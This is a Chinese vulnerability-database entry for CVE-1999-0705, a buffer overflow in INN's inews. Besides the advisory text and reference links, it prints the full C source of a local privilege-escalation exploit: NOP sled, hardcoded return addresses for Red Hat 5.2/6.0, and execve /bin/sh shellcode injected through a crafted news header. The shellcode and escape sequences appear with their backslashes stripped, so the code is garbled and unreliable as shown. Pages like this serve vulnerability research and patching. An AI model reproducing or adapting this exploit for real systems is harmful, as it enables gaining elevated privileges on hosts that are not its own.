多厂商INN inews缓冲区溢出漏洞

多厂商INN inews缓冲区溢出漏洞

漏洞ID 1105531 漏洞类型 缓冲区溢出
发布时间 1999-09-02 更新时间 2005-05-02
图片[1]-多厂商INN inews缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0705
图片[2]-多厂商INN inews缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199909-005
漏洞平台 Multiple CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/19480
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199909-005
|漏洞详情
INNinews程序缓冲区溢出漏洞。
|漏洞EXP
source: http://www.securityfocus.com/bid/616/info


INN versions 2.2 and earlier have a buffer overflow-related security condition in the inews program.

inews is a program used to inject new postings into the news system. It is used by many news reading programs and scripts. The default installation is with inews setgid to the news group and world executable. It's possible that exploiting the buffer overflow could give the attacker news group privileges, which could possibly be extended to root access. 

/* inews exploit , gives you the inews egid .
* [email protected]
* greetz to nitro,shivan,rfp & Minus :)
*
*
* RET addresses change between RH 5.2 ,6.0 etc..
*
* RH 5.2 RET = 0xbffff6f0
* RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 540
#define RET 0xbffff6f0



main (int argc, char *argv[])
{
FILE *fp;
int offset = 0;
char *buff = NULL;
int i;

u_char execshell[] =
"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
"x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
"x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
"xd7xffxffxff/bin/sh";



if (argc > 1)
offset = atoi (argv[1]);

buff = malloc (1024);

if (!buff)
{
printf ("malloc isnt workingn");
exit (0);
}

memset (buff, 0x90, BUFFER_SIZE);

for (i = 100; i < BUFFER_SIZE - 4; i += 4)
*(long *) &buff[i] = RET + offset;

memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));

if ((fp = fopen ("filez", "w")) != NULL)
{
  fprintf (fp, "From: %snSubject: y0nNewsgroups: yaya le chatnnnnn", 
buff);
  fclose (fp);
  execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
  }

else {
     printf ("Couldnt open file : filezn");
     exit (0);
     }

}
|参考资料

来源:BID
名称:616
链接:http://www.securityfocus.com/bid/616

相关推荐: BSD/x86 – Break chroot Shellcode (45 bytes)

BSD/x86 – Break chroot Shellcode (45 bytes) 漏洞ID 1054686 漏洞类型 发布时间 2004-09-26 更新时间 2004-09-26 CVE编号 N/A CNNVD-ID N/A 漏洞平台 BSD_x86 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享